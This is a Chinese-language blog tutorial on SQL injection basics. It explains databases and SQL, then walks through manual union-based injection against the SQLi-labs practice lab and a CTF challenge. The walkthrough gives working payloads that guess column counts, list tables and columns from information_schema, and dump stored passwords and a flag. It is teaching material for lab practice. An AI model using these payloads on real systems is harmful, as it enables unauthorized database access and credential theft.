SQL注入基础知识

一、 数据库

1. 什么是数据库

1.1 概念

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。

简单理解为我们存储数据的地方,一个数据的集合,我们可以对它进行新增、删除、更改、查询等操作。

1.2 长什么样

我们用熟悉的Excel来类比

image-20201012203318100

  • 库(Excel文件)
  • 表(Excel Sheet)
  • 字段(Excel表头)
  • 数据(Excel数据)

我们把表中的每一行叫做一个“记录”,每一个记录包含了这行中所有的信息

数据库中把表的“列”称为“字段”,每个字段包含了某一种信息,每一行的共有属性

1.3 phpMyAdmin

一款基于web的MySQL管理软件

image-20201012205457004

2. SQL语句

结构化查询语言(Structured Query Language),是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

基础的查询语句:

# SELECT 字段 FROM 表 where 字段 = 'XXX';
SELECT 姓名 FROM `学生` where 性别 = '男' and 年龄 = '19';
#从'学生'表

image-20201012205809262

二、 SQL注入

1. SQL Injection原理

1.1 网站使用SQL的查询流程

http://a.com/?page=1

image-20201012211625571

我们可以把上述流程理解为餐厅点餐

  • 客人对服务员说:“我想要一份鱼香肉丝。”
  • 服务员对后厨说:“客人想要一份鱼香肉丝。”
  • 后厨看了订单做了一份鱼香肉丝
  • 后厨把鱼香肉丝装盘递给服务员
  • 服务员把鱼香肉丝递给客人
  • 客人吃到鱼香肉丝

1.2 为什么会产生SQL注入

用户使用了恶意的SQL命令,实现了非法的数据库操作。

继续上面的例子

  • 客人对服务员说:“我想要一份鱼香肉丝。对了,老板把你辞掉了。
  • 服务员对后厨说:“客人想要一份鱼香肉丝。对了,老板把你辞掉了。
  • 后厨做了一份鱼香肉丝,卷铺盖走人了。

我们能看出,客人说了一些恶意的话,在服务员和后厨不对话语进行识别的情况下,客人实现了一些非法操作,对餐厅进行了影响。

所以,SQL注入产生的原因是服务器和数据库未对SQL查询语句进行审查,从而造成意想不到的危险。

2. 简单的手工注入

Integer SQLi

靶机:SQLi-labs

2.1 判断是否存在漏洞

sql查询语句

select 列名 from 表名 where 条件语句

url

http://106.13.177.224:9999/Less-2/?id=1

image-20200927144842967

构造

http://106.13.177.224:9999/Less-2/?id=1 and 1=0

image-20200927144855106

页面返回不同,存在数字型注入漏洞

拼接语句

union

可以拼接两个select语句,但是选择的列数必须相同

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

2.2 猜列数

order by

按照第几列来排序,猜测列数

http://url/Less-2/?id=1 order by 3

image-20200927145613846

http://url/Less-2/?id=1 order by 4

image-20200927145726305

说明只有3列

2.3 爆表名

union select table_name from information_schema.tables where table_schema=database()

构造

http://url/Less-2/?id=3 union select table_name from information_schema.tables where table_schema=database()

image-20200927150105823

union 列数不匹配

http://url/Less-2/?id=3 union select table_name,2,3 from information_schema.tables where table_schema=database()

image-20200927150329978

union后语句执行,但结果未显示

查看源代码

$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}

发现使用了mysql_fetch_array(),在前端只显示了一行数据

image-20200928220548136

所以构造payload

http://url/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20200927151243542

2.4 爆列名

http://url/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

image-20200927151335264

2.5 爆信息

http://url/Less-2/?id=0 union select 1,2,group_concat(password) from users

image-20200927151415694

3. 字符型注入

  • 后端将前端输入的字符串添加一对单引号

  • 注入时加入一个'可以逃逸出默认添加的一对单引号,从而形成单独的SQL查询语句

  • 使用POST方法传参

einfach SQLi

http://123.206.87.240:8002/chengjidan/

image-20200927152033960

3.1 测试注入点**

输入'1'均无结果

输入1' #有回显,判断为字符型注入

image-20200927153724700

3.2 猜列数

输入 1' order by 4#1' order by 5# 判断有4个字段

-1' union select 1,2,3,4 #看回显位置

image-20200927160624056

3.3 爆表名

-1'  union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

image-20200927161100807

3.4 爆列名

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

image-20200927161643832

3.5 爆信息

-1' union select 1,2,3,skctf_flag from fl4g#

image-20200927161715171

posted @ 2020-10-12 23:43  Riiiiiysl  阅读(228)  评论(0编辑  收藏  举报